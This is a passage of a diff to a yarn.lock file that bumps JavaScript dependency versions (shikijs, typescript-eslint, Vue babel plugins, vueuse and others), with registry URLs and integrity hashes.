+"@shikijs/langs@3.1.0", "@shikijs/langs@^3.1.0":
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/langs/-/langs-3.1.0.tgz#5f6999eb7f3fd3af9ef2692e64fd2c43c6ca45aa"
+  integrity sha512-hAM//sExPXAXG3ZDWjrmV6Vlw4zlWFOcT1ZXNhFRBwPP27scZu/ZIdZ+TdTgy06zSvyF4KIjnF8j6+ScKGu6ww==
   dependencies:
-    "@shikijs/types" "1.29.2"
+    "@shikijs/types" "3.1.0"
 
-"@shikijs/themes@2.5.0":
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/@shikijs/themes/-/themes-2.5.0.tgz#8c6aecf73f5455681c8bec15797cf678162896cb"
-  integrity sha512-wGrk+R8tJnO0VMzmUExHR+QdSaPUl/NKs+a4cQQRWyoc3YFbUzuLEi/KWK1hj+8BfHRKm2jNhhJck1dfstJpiw==
+"@shikijs/themes@3.1.0":
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/themes/-/themes-3.1.0.tgz#6a6ef4f54143807a2fff03238d82fc4beac923d0"
+  integrity sha512-A4MJmy9+ydLNbNCtkmdTp8a+ON+MMXoUe1KTkELkyu0+pHGOcbouhNuobhZoK59cL4cOST6CCz1x+kUdkp9UZA==
   dependencies:
-    "@shikijs/types" "2.5.0"
+    "@shikijs/types" "3.1.0"
 
-"@shikijs/transformers@^1.27.2":
-  version "1.29.2"
-  resolved "https://registry.yarnpkg.com/@shikijs/transformers/-/transformers-1.29.2.tgz#cc7338a36783a4e48f484405c5410338e884f41e"
-  integrity sha512-NHQuA+gM7zGuxGWP9/Ub4vpbwrYCrho9nQCLcCPfOe3Yc7LOYwmSuhElI688oiqIXk9dlZwDiyAG9vPBTuPJMA==
+"@shikijs/transformers@^3.0.0":
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/transformers/-/transformers-3.1.0.tgz#75e401e92959d12fa635dc3a0b6ffde28a0a6438"
+  integrity sha512-Et+agcilvJOmWh/goUczrdM6R35JrEr8B8xZxJVv6rCIpUo2rICtWZF4YBUIILx5mV78455EcYyFPCrk3lJ+nw==
   dependencies:
-    "@shikijs/core" "1.29.2"
-    "@shikijs/types" "1.29.2"
+    "@shikijs/core" "3.1.0"
+    "@shikijs/types" "3.1.0"
 
 "@shikijs/types@1.22.0":
   version "1.22.0"
@@ -2519,23 +2513,15 @@
     "@shikijs/vscode-textmate" "^9.3.0"
     "@types/hast" "^3.0.4"
 
-"@shikijs/types@1.29.2":
-  version "1.29.2"
-  resolved "https://registry.yarnpkg.com/@shikijs/types/-/types-1.29.2.tgz#a93fdb410d1af8360c67bf5fc1d1a68d58e21c4f"
-  integrity sha512-VJjK0eIijTZf0QSTODEXCqinjBn0joAHQ+aPSBzrv4O2d/QSbsMw+ZeSRx03kV34Hy7NzUvV/7NqfYGRLrASmw==
-  dependencies:
-    "@shikijs/vscode-textmate" "^10.0.1"
-    "@types/hast" "^3.0.4"
-
-"@shikijs/types@2.5.0":
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/@shikijs/types/-/types-2.5.0.tgz#e949c7384802703a48b9d6425dd41673c164df69"
-  integrity sha512-ygl5yhxki9ZLNuNpPitBWvcy9fsSKKaRuO4BAlMyagszQidxcpLAr0qiW/q43DtSIDxO6hEbtYLiFZNXO/hdGw==
+"@shikijs/types@3.1.0":
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/types/-/types-3.1.0.tgz#0bd5e3d96927f62f1df1eb10c169d97f192d41d4"
+  integrity sha512-F8e7Fy4ihtcNpJG572BZZC1ErYrBrzJ5Cbc9Zi3REgWry43gIvjJ9lFAoUnuy7Bvy4IFz7grUSxL5edfrrjFEA==
   dependencies:
     "@shikijs/vscode-textmate" "^10.0.2"
     "@types/hast" "^3.0.4"
 
-"@shikijs/vscode-textmate@^10.0.1", "@shikijs/vscode-textmate@^10.0.2":
+"@shikijs/vscode-textmate@^10.0.2":
   version "10.0.2"
   resolved "https://registry.yarnpkg.com/@shikijs/vscode-textmate/-/vscode-textmate-10.0.2.tgz#a90ab31d0cc1dfb54c66a69e515bf624fa7b2224"
   integrity sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==
@@ -2604,6 +2590,11 @@
   resolved "https://registry.yarnpkg.com/@sindresorhus/is/-/is-4.6.0.tgz#3c7c9c46e678feefe7a2e5bb609d3dbd665ffb3f"
   integrity sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==
 
+"@sindresorhus/is@^7.0.1":
+  version "7.0.1"
+  resolved "https://registry.yarnpkg.com/@sindresorhus/is/-/is-7.0.1.tgz#693cd0bfa7fdc71a3386b72088b660fb70851927"
+  integrity sha512-QWLl2P+rsCJeofkDNIT3WFmb6NrRud1SUYW8dIhXK/46XFV8Q/g7Bsvib0Askb0reRLe+WYPeeE+l5cH7SlkuQ==
+
 "@sindresorhus/merge-streams@^2.1.0":
   version "2.3.0"
   resolved "https://registry.yarnpkg.com/@sindresorhus/merge-streams/-/merge-streams-2.3.0.tgz#719df7fb41766bc143369eaa0dd56d8dc87c9958"
@@ -2619,10 +2610,15 @@
   resolved "https://registry.yarnpkg.com/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz#821f8442f4175d8f0467b9daf26e3a18e2d02af2"
   integrity sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==
 
-"@sqlite.org/sqlite-wasm@3.49.0-build3":
-  version "3.49.0-build3"
-  resolved "https://registry.yarnpkg.com/@sqlite.org/sqlite-wasm/-/sqlite-wasm-3.49.0-build3.tgz#1ae79a0fb3741bacbac13a771e672cb5069396ce"
-  integrity sha512-Dfbkybv7AIfDKAbIA5jjupT/mqFWyIMcgAwqR1qVyfHuidmEpPL48PWaOga/l4Elnty5RATzOY9U9P1yeUgjGQ==
+"@speed-highlight/core@^1.2.7":
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/@speed-highlight/core/-/core-1.2.7.tgz#eeaa7c1e7198559abbb98e4acbc93d108d35f2d3"
+  integrity sha512-0dxmVj4gxg3Jg879kvFS/msl4s9F3T9UXC1InxgOf7t5NvcPD97u/WTA5vL/IxWHMn7qSxBozqrnnE2wvl1m8g==
+
+"@sqlite.org/sqlite-wasm@3.49.1-build2":
+  version "3.49.1-build2"
+  resolved "https://registry.yarnpkg.com/@sqlite.org/sqlite-wasm/-/sqlite-wasm-3.49.1-build2.tgz#dba6fc58f9e68b20812872e6a27b07a267b2f1de"
+  integrity sha512-pZi8OSjNDZEYkvefsTOFKNRRN0GG9S5mtB6qBmrFZ5sraF5vxElPnTOl0DbJgiz9twlsOF5OzVkOce6Uc1TXsw==
 
 "@stripe/stripe-js@^4.8.0":
   version "4.10.0"
@@ -2914,7 +2910,7 @@
   dependencies:
     "@types/unist" "*"
 
-"@types/http-proxy@^1.17.15":
+"@types/http-proxy@^1.17.16":
   version "1.17.16"
   resolved "https://registry.yarnpkg.com/@types/http-proxy/-/http-proxy-1.17.16.tgz#dee360707b35b3cc85afcde89ffeebff7d7f9240"
   integrity sha512-sdWoUajOB1cd0A8cRRQ1cfyWNbmFKLAqBB89Y8x5iYyG/mkJHc0YUH8pdWBy2omi9qtCpiIgGjuwO0dQST2l5w==
@@ -2957,9 +2953,9 @@
   integrity sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==
 
 "@types/node@*":
-  version "22.13.5"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.13.5.tgz#23add1d71acddab2c6a4d31db89c0f98d330b511"
-  integrity sha512-+lTU0PxZXn0Dr1NBtC7Y8cR21AJr87dLLU953CWA6pMxxv/UDc7jYAY90upcrie1nRcD6XNG5HOYEDtgW5TxAg==
+  version "22.13.9"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.13.9.tgz#5d9a8f7a975a5bd3ef267352deb96fb13ec02eca"
+  integrity sha512-acBjXdRJ3A6Pb3tqnw9HZmyR3Fiol3aGxRCK1x3d+6CDAMjl7I649wpSd+yNURCjbOUGu9tqtLKnTGxmK6CyGw==
   dependencies:
     undici-types "~6.20.0"
 
@@ -3008,67 +3004,72 @@
   resolved "https://registry.yarnpkg.com/@types/web-bluetooth/-/web-bluetooth-0.0.20.tgz#f066abfcd1cbe66267cdbbf0de010d8a41b41597"
   integrity sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==
 
+"@types/web-bluetooth@^0.0.21":
+  version "0.0.21"
+  resolved "https://registry.yarnpkg.com/@types/web-bluetooth/-/web-bluetooth-0.0.21.tgz#525433c784aed9b457aaa0ee3d92aeb71f346b63"
+  integrity sha512-oIQLCGWtcFZy2JW77j9k8nHzAOpqMHLQejDA48XXMWH6tjCQHz5RCFz1bzsmROyL6PUm+LLnUiI4BCn221inxA==
+
 "@types/youtube@^0.1.0":
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/@types/youtube/-/youtube-0.1.0.tgz#0e116bd0a8ddb93daf1372fb5e07f576cf9fe5cc"
   integrity sha512-Pg33m3X2mFgdmhtvzOlAfUfgOa3341N3/2JCrVY/mXVxb4hagcqqEG6w4vGCfB64StQNWHSj/T8Eotb1Rko/FQ==
 
 "@typescript-eslint/eslint-plugin@^8.5.0":
-  version "8.25.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.25.0.tgz#5e1d56f067e5808fa82d1b75bced82396e868a14"
-  integrity sha512-VM7bpzAe7JO/BFf40pIT1lJqS/z1F8OaSsUB3rpFJucQA4cOSuH2RVVVkFULN+En0Djgr29/jb4EQnedUo95KA==
+  version "8.26.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.26.0.tgz#7e880faf91f89471c30c141951e15f0eb3a0599e"
+  integrity sha512-cLr1J6pe56zjKYajK6SSSre6nl1Gj6xDp1TY0trpgPzjVbgDwd09v2Ws37LABxzkicmUjhEeg/fAUjPJJB1v5Q==
   dependencies:
     "@eslint-community/regexpp" "^4.10.0"
-    "@typescript-eslint/scope-manager" "8.25.0"
-    "@typescript-eslint/type-utils" "8.25.0"
-    "@typescript-eslint/utils" "8.25.0"
-    "@typescript-eslint/visitor-keys" "8.25.0"
+    "@typescript-eslint/scope-manager" "8.26.0"
+    "@typescript-eslint/type-utils" "8.26.0"
+    "@typescript-eslint/utils" "8.26.0"
+    "@typescript-eslint/visitor-keys" "8.26.0"
     graphemer "^1.4.0"
     ignore "^5.3.1"
     natural-compare "^1.4.0"
     ts-api-utils "^2.0.1"
 
 "@typescript-eslint/parser@^8.5.0":
-  version "8.25.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-8.25.0.tgz#58fb81c7b7a35184ba17583f3d7ac6c4f3d95be8"
-  integrity sha512-4gbs64bnbSzu4FpgMiQ1A+D+urxkoJk/kqlDJ2W//5SygaEiAP2B4GoS7TEdxgwol2el03gckFV9lJ4QOMiiHg==
-  dependencies:
-    "@typescript-eslint/scope-manager" "8.25.0"
-    "@typescript-eslint/types" "8.25.0"
-    "@typescript-eslint/typescript-estree" "8.25.0"
-    "@typescript-eslint/visitor-keys" "8.25.0"
+  version "8.26.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/parser/-/parser-8.26.0.tgz#9b4d2198e89f64fb81e83167eedd89a827d843a9"
+  integrity sha512-mNtXP9LTVBy14ZF3o7JG69gRPBK/2QWtQd0j0oH26HcY/foyJJau6pNUez7QrM5UHnSvwlQcJXKsk0I99B9pOA==
+  dependencies:
+    "@typescript-eslint/scope-manager" "8.26.0"
+    "@typescript-eslint/types" "8.26.0"
+    "@typescript-eslint/typescript-estree" "8.26.0"
+    "@typescript-eslint/visitor-keys" "8.26.0"
     debug "^4.3.4"
 
-"@typescript-eslint/scope-manager@8.25.0", "@typescript-eslint/scope-manager@^8.1.0", "@typescript-eslint/scope-manager@^8.13.0":
-  version "8.25.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-8.25.0.tgz#ac3805077aade898e98ca824294c998545597df3"
-  integrity sha512-6PPeiKIGbgStEyt4NNXa2ru5pMzQ8OYKO1hX1z53HMomrmiSB+R5FmChgQAP1ro8jMtNawz+TRQo/cSXrauTpg==
+"@typescript-eslint/scope-manager@8.26.0", "@typescript-eslint/scope-manager@^8.1.0", "@typescript-eslint/scope-manager@^8.13.0":
+  version "8.26.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/scope-manager/-/scope-manager-8.26.0.tgz#b06623fad54a3a77fadab5f652ef75ed3780b545"
+  integrity sha512-E0ntLvsfPqnPwng8b8y4OGuzh/iIOm2z8U3S9zic2TeMLW61u5IH2Q1wu0oSTkfrSzwbDJIB/Lm8O3//8BWMPA==
   dependencies:
-    "@typescript-eslint/types" "8.25.0"
-    "@typescript-eslint/visitor-keys" "8.25.0"
+    "@typescript-eslint/types" "8.26.0"
+    "@typescript-eslint/visitor-keys" "8.26.0"
 
-"@typescript-eslint/type-utils@8.25.0":
-  version "8.25.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-8.25.0.tgz#ee0d2f67c80af5ae74b5d6f977e0f8ded0059677"
-  integrity sha512-d77dHgHWnxmXOPJuDWO4FDWADmGQkN5+tt6SFRZz/RtCWl4pHgFl3+WdYCn16+3teG09DY6XtEpf3gGD0a186g==
+"@typescript-eslint/type-utils@8.26.0":
+  version "8.26.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/type-utils/-/type-utils-8.26.0.tgz#9ee8cc98184b5f66326578de9c097edc89da6f68"
+  integrity sha512-ruk0RNChLKz3zKGn2LwXuVoeBcUMh+jaqzN461uMMdxy5H9epZqIBtYj7UiPXRuOpaALXGbmRuZQhmwHhaS04Q==
   dependencies:
-    "@typescript-eslint/typescript-estree" "8.25.0"
-    "@typescript-eslint/utils" "8.25.0"
+    "@typescript-eslint/typescript-estree" "8.26.0"
+    "@typescript-eslint/utils" "8.26.0"
     debug "^4.3.4"
     ts-api-utils "^2.0.1"
 
-"@typescript-eslint/types@8.25.0", "@typescript-eslint/types@^8.5.0":
-  version "8.25.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-8.25.0.tgz#f91512c2f532b1d6a8826cadd0b0e5cd53cf97e0"
-  integrity sha512-+vUe0Zb4tkNgznQwicsvLUJgZIRs6ITeWSCclX1q85pR1iOiaj+4uZJIUp//Z27QWu5Cseiw3O3AR8hVpax7Aw==
+"@typescript-eslint/types@8.26.0", "@typescript-eslint/types@^8.5.0":
+  version "8.26.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/types/-/types-8.26.0.tgz#c4e93a8faf3a38a8d8adb007dc7834f1c89ee7bf"
+  integrity sha512-89B1eP3tnpr9A8L6PZlSjBvnJhWXtYfZhECqlBl1D9Lme9mHO6iWlsprBtVenQvY1HMhax1mWOjhtL3fh/u+pA==
 
-"@typescript-eslint/typescript-estree@8.25.0", "@typescript-eslint/typescript-estree@^8.13.0":
-  version "8.25.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.25.0.tgz#d8409c63abddd4cf5b93c031b24b9edc1c7c1299"
-  integrity sha512-ZPaiAKEZ6Blt/TPAx5Ot0EIB/yGtLI2EsGoY6F7XKklfMxYQyvtL+gT/UCqkMzO0BVFHLDlzvFqQzurYahxv9Q==
+"@typescript-eslint/typescript-estree@8.26.0", "@typescript-eslint/typescript-estree@^8.13.0":
+  version "8.26.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/typescript-estree/-/typescript-estree-8.26.0.tgz#128972172005a7376e34ed2ecba4e29363b0cad1"
+  integrity sha512-tiJ1Hvy/V/oMVRTbEOIeemA2XoylimlDQ03CgPPNaHYZbpsc78Hmngnt+WXZfJX1pjQ711V7g0H7cSJThGYfPQ==
   dependencies:
-    "@typescript-eslint/types" "8.25.0"
-    "@typescript-eslint/visitor-keys" "8.25.0"
+    "@typescript-eslint/types" "8.26.0"
+    "@typescript-eslint/visitor-keys" "8.26.0"
     debug "^4.3.4"
     fast-glob "^3.3.2"
     is-glob "^4.0.3"
@@ -3076,22 +3077,22 @@
     semver "^7.6.0"
     ts-api-utils "^2.0.1"
 
-"@typescript-eslint/utils@8.25.0", "@typescript-eslint/utils@^8.1.0", "@typescript-eslint/utils@^8.13.0", "@typescript-eslint/utils@^8.5.0":
-  version "8.25.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.25.0.tgz#3ea2f9196a915ef4daa2c8eafd44adbd7d56d08a"
-  integrity sha512-syqRbrEv0J1wywiLsK60XzHnQe/kRViI3zwFALrNEgnntn1l24Ra2KvOAWwWbWZ1lBZxZljPDGOq967dsl6fkA==
+"@typescript-eslint/utils@8.26.0", "@typescript-eslint/utils@^8.1.0", "@typescript-eslint/utils@^8.13.0", "@typescript-eslint/utils@^8.5.0":
+  version "8.26.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/utils/-/utils-8.26.0.tgz#845d20ed8378a5594e6445f54e53b972aee7b3e6"
+  integrity sha512-2L2tU3FVwhvU14LndnQCA2frYC8JnPDVKyQtWFPf8IYFMt/ykEN1bPolNhNbCVgOmdzTlWdusCTKA/9nKrf8Ig==
   dependencies:
     "@eslint-community/eslint-utils" "^4.4.0"
-    "@typescript-eslint/scope-manager" "8.25.0"
-    "@typescript-eslint/types" "8.25.0"
-    "@typescript-eslint/typescript-estree" "8.25.0"
+    "@typescript-eslint/scope-manager" "8.26.0"
+    "@typescript-eslint/types" "8.26.0"
+    "@typescript-eslint/typescript-estree" "8.26.0"
 
-"@typescript-eslint/visitor-keys@8.25.0":
-  version "8.25.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.25.0.tgz#e8646324cd1793f96e02669cb717a05319403164"
-  integrity sha512-kCYXKAum9CecGVHGij7muybDfTS2sD3t0L4bJsEZLkyrXUImiCTq1M3LG2SRtOhiHFwMR9wAFplpT6XHYjTkwQ==
+"@typescript-eslint/visitor-keys@8.26.0":
+  version "8.26.0"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/visitor-keys/-/visitor-keys-8.26.0.tgz#a4876216756c69130ea958df3b77222c2ad95290"
+  integrity sha512-2z8JQJWAzPdDd51dRQ/oqIJxe99/hoLIqmf8RMCAJQtYDc535W/Jt2+RTP4bP0aKeBG1F65yjIZuczOXCmbWwg==
   dependencies:
-    "@typescript-eslint/types" "8.25.0"
+    "@typescript-eslint/types" "8.26.0"
     eslint-visitor-keys "^4.2.0"
 
 "@ungap/structured-clone@^1.0.0":
@@ -3174,7 +3175,7 @@
   dependencies:
     "@unhead/schema" "1.11.9"
 
-"@unhead/ssr@^1.11.18":
+"@unhead/ssr@^1.11.18", "@unhead/ssr@^1.11.20":
   version "1.11.20"
   resolved "https://registry.yarnpkg.com/@unhead/ssr/-/ssr-1.11.20.tgz#3f52fc0a9c5691c24f97a24deccb937b4ec20f6e"
   integrity sha512-j6ehzmdWGAvv0TEZyLE3WBnG1ULnsbKQcLqBDh3fvKS6b3xutcVZB7mjvrVE7ckSZt6WwOtG0ED3NJDS7IjzBA==
@@ -3472,19 +3473,19 @@
     unplugin "^2.1.0"
     webpack-sources "^3.2.3"
 
-"@vercel/nft@^0.27.5":
-  version "0.27.10"
-  resolved "https://registry.yarnpkg.com/@vercel/nft/-/nft-0.27.10.tgz#f51c391674cdc285cdd004fa1c3822374b739eb8"
-  integrity sha512-zbaF9Wp/NsZtKLE4uVmL3FyfFwlpDyuymQM1kPbeT0mVOHKDQQNjnnfslB3REg3oZprmNFJuh3pkHBk2qAaizg==
+"@vercel/nft@^0.29.2":
+  version "0.29.2"
+  resolved "https://registry.yarnpkg.com/@vercel/nft/-/nft-0.29.2.tgz#0a852a67f5f24ee7c55139f065d46175688fcbbb"
+  integrity sha512-A/Si4mrTkQqJ6EXJKv5EYCDQ3NL6nJXxG8VGXePsaiQigsomHYQC9xSpX8qGk7AEZk4b1ssbYIqJ0ISQQ7bfcA==
   dependencies:
-    "@mapbox/node-pre-gyp" "^2.0.0-rc.0"
+    "@mapbox/node-pre-gyp" "^2.0.0"
     "@rollup/pluginutils" "^5.1.3"
     acorn "^8.6.0"
     acorn-import-attributes "^1.9.5"
     async-sema "^3.1.1"
     bindings "^1.4.0"
     estree-walker "2.0.2"
-    glob "^7.1.3"
+    glob "^10.4.5"
     graceful-fs "^4.2.9"
     node-gyp-build "^4.2.2"
     picomatch "^4.0.2"
@@ -3544,37 +3545,36 @@
     pathe "^2.0.2"
     picomatch "^4.0.2"
 
-"@vue/babel-helper-vue-transform-on@1.2.5":
-  version "1.2.5"
-  resolved "https://registry.yarnpkg.com/@vue/babel-helper-vue-transform-on/-/babel-helper-vue-transform-on-1.2.5.tgz#b9e195b92bfa8d15d5aa9581ca01cb702dbcc19d"
-  integrity sha512-lOz4t39ZdmU4DJAa2hwPYmKc8EsuGa2U0L9KaZaOJUt0UwQNjNA3AZTq6uEivhOKhhG1Wvy96SvYBoFmCg3uuw==
+"@vue/babel-helper-vue-transform-on@1.3.0":
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/@vue/babel-helper-vue-transform-on/-/babel-helper-vue-transform-on-1.3.0.tgz#37eb4e1f44ad378b404c378ca1dd28fc0b2916f5"
+  integrity sha512-vrNyYNQcz1gfc87uuN+Z+On9fFOBQTYRlTUEDovpeCmjuwH83lAm6YM0VBvTx6eRTHg3SU5jP2CD+kSXY30PGg==
 
 "@vue/babel-plugin-jsx@^1.1.5", "@vue/babel-plugin-jsx@^1.2.5":
-  version "1.2.5"
-  resolved "https://registry.yarnpkg.com/@vue/babel-plugin-jsx/-/babel-plugin-jsx-1.2.5.tgz#77f4f9f189d00c24ebd587ab84ae615dfa1c3abb"
-  integrity sha512-zTrNmOd4939H9KsRIGmmzn3q2zvv1mjxkYZHgqHZgDrXz5B1Q3WyGEjO2f+JrmKghvl1JIRcvo63LgM1kH5zFg==
-  dependencies:
-    "@babel/helper-module-imports" "^7.24.7"
-    "@babel/helper-plugin-utils" "^7.24.8"
-    "@babel/plugin-syntax-jsx" "^7.24.7"
-    "@babel/template" "^7.25.0"
-    "@babel/traverse" "^7.25.6"
-    "@babel/types" "^7.25.6"
-    "@vue/babel-helper-vue-transform-on" "1.2.5"
-    "@vue/babel-plugin-resolve-type" "1.2.5"
-    html-tags "^3.3.1"
-    svg-tags "^1.0.0"
-
-"@vue/babel-plugin-resolve-type@1.2.5":
-  version "1.2.5"
-  resolved "https://registry.yarnpkg.com/@vue/babel-plugin-resolve-type/-/babel-plugin-resolve-type-1.2.5.tgz#f6ed0d39987fe0158370659b73156c55e80d17b5"
-  integrity sha512-U/ibkQrf5sx0XXRnUZD1mo5F7PkpKyTbfXM3a3rC4YnUz6crHEz9Jg09jzzL6QYlXNto/9CePdOg/c87O4Nlfg==
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/@vue/babel-plugin-jsx/-/babel-plugin-jsx-1.3.0.tgz#fb07eb5de48fe43dfc0eb327ed5efb5916c74063"
+  integrity sha512-ODZSs93FCxLMOiMFAGJXe7QMJp1tk8hkMbk84OcHOTVwYU2cFwFu1z7jjrRv44wCCfPNkflqn6hnexVprb+G7A==
   dependencies:
-    "@babel/code-frame" "^7.24.7"
-    "@babel/helper-module-imports" "^7.24.7"
-    "@babel/helper-plugin-utils" "^7.24.8"
-    "@babel/parser" "^7.25.6"
-    "@vue/compiler-sfc" "^3.5.3"
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/plugin-syntax-jsx" "^7.25.9"
+    "@babel/template" "^7.26.9"
+    "@babel/traverse" "^7.26.9"
+    "@babel/types" "^7.26.9"
+    "@vue/babel-helper-vue-transform-on" "1.3.0"
+    "@vue/babel-plugin-resolve-type" "1.3.0"
+    "@vue/shared" "^3.5.13"
+
+"@vue/babel-plugin-resolve-type@1.3.0":
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/@vue/babel-plugin-resolve-type/-/babel-plugin-resolve-type-1.3.0.tgz#7cf658c77195c9f83f76af8626b9281883d3e17e"
+  integrity sha512-3SmusE11QKNKtnVfbsKegUEArpf1fXE85Dzi/Q6lvaz3MA3tmL8BXyq/vA7GJeZ183XeNpLIZHrHDdUh9V348A==
+  dependencies:
+    "@babel/code-frame" "^7.26.2"
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/parser" "^7.26.9"
+    "@vue/compiler-sfc" "^3.5.13"
 
 "@vue/compiler-core@3.5.13", "@vue/compiler-core@^3.5.13":
   version "3.5.13"
@@ -3595,7 +3595,7 @@
     "@vue/compiler-core" "3.5.13"
     "@vue/shared" "3.5.13"
 
-"@vue/compiler-sfc@3.5.13", "@vue/compiler-sfc@^3.5.13", "@vue/compiler-sfc@^3.5.3":
+"@vue/compiler-sfc@3.5.13", "@vue/compiler-sfc@^3.5.13":
   version "3.5.13"
   resolved "https://registry.yarnpkg.com/@vue/compiler-sfc/-/compiler-sfc-3.5.13.tgz#461f8bd343b5c06fac4189c4fef8af32dea82b46"
   integrity sha512-6VdaljMpD82w6c2749Zhf5T9u5uLBWKnVue6XWxprDobftnletJ8+oel7sexFfM3qIxNmVE7LSFGTpv6obNyaQ==
@@ -3676,10 +3676,10 @@
   dependencies:
     rfdc "^1.4.1"
 
-"@vue/language-core@2.2.4":
-  version "2.2.4"
-  resolved "https://registry.yarnpkg.com/@vue/language-core/-/language-core-2.2.4.tgz#5cad43a4cd6f388bebc3e8c6f303df489f5e8829"
-  integrity sha512-eGGdw7eWUwdIn9Fy/irJ7uavCGfgemuHQABgJ/hU1UgZFnbTg9VWeXvHQdhY+2SPQZWJqWXvRWIg67t4iWEa+Q==
+"@vue/language-core@2.2.8":
+  version "2.2.8"
+  resolved "https://registry.yarnpkg.com/@vue/language-core/-/language-core-2.2.8.tgz#05befa390399fbd4409bc703ee0520b8ac1b7088"
+  integrity sha512-rrzB0wPGBvcwaSNRriVWdNAbHQWSf0NlGqgKHK5mEkXpefjUlVRP62u03KvwZpvKVjRnBIQ/Lwre+Mx9N6juUQ==
   dependencies:
     "@volar/language-core" "~2.4.11"
     "@vue/compiler-dom" "^3.5.0"
@@ -3728,14 +3728,14 @@
   resolved "https://registry.yarnpkg.com/@vue/shared/-/shared-3.5.13.tgz#87b309a6379c22b926e696893237826f64339b6f"
   integrity sha512-/hnE/qP5ZoGpol0a5mDi45bOd7t3tjYJBjsgCsivow7D48cJeV5l05RD82lPqi7gRiphZM37rnhW1l6ZoCNNnQ==
 
-"@vueuse/core@12.7.0", "@vueuse/core@^12.2.0", "@vueuse/core@^12.7.0":
-  version "12.7.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/core/-/core-12.7.0.tgz#b9c3880e9c01d9db86029c6a58412f1b1922497e"
-  integrity sha512-jtK5B7YjZXmkGNHjviyGO4s3ZtEhbzSgrbX+s5o+Lr8i2nYqNyHuPVOeTdM1/hZ5Tkxg/KktAuAVDDiHMraMVA==
+"@vueuse/core@12.8.2", "@vueuse/core@^12.2.0", "@vueuse/core@^12.7.0":
+  version "12.8.2"
+  resolved "https://registry.yarnpkg.com/@vueuse/core/-/core-12.8.2.tgz#007c6dd29a7d1f6933e916e7a2f8ef3c3f968eaa"
+  integrity sha512-HbvCmZdzAu3VGi/pWYm5Ut+Kd9mn1ZHnn4L5G8kOQTPs/IwIAmJoBrmYk2ckLArgMXZj0AW3n5CAejLUO+PhdQ==
   dependencies:
-    "@types/web-bluetooth" "^0.0.20"
-    "@vueuse/metadata" "12.7.0"
-    "@vueuse/shared" "12.7.0"
+    "@types/web-bluetooth" "^0.0.21"
+    "@vueuse/metadata" "12.8.2"
+    "@vueuse/shared" "12.8.2"
     vue "^3.5.13"
 
 "@vueuse/core@^11.1.0":
@@ -3749,12 +3749,12 @@
     vue-demi ">=0.14.10"
 
 "@vueuse/integrations@^12.2.0":
-  version "12.7.0"
-  resolved "https://registry.yarnpkg.com/@vueuse/integrations/-/integrations-12.7.0.tgz#d9ba676a6643def3f8dcc99580162fbaf33de05e"
-  integrity sha512-IEq7K4bCl7mn3uKJaWtNXnd1CAPaHLUMuyj5K1/k/pVcItt0VONZW8xiGxdIovJcQjkzOHjImhX5t6gija+0/g==
+  version "12.8.2"
+  resolved "https://registry.yarnpkg.com/@vueuse/integrations/-/integrations-12.8.2.tgz#d04f33d86fe985c9a27c98addcfde9f30f2db1df"
+  integrity sha512-fbGYivgK5uBTRt7p5F3zy6VrETlV9RtZjBqd1/HxGdjdckBgBM4ugP8LHpjolqTj14TXTxSK1ZfgPbHYyGuH7g==
   dependencies:
-    "@vueuse/core" "12.7.0"
-    "@vueuse/shared" "12.7.0"
+    "@vueuse/core" "12.8.2"
+    "@vueuse/shared" "12.8.2"
     vue "^3.5.13"
 
 "@vueuse/metadata@11.3.0":
@@ -3762,20 +3762,20 @@
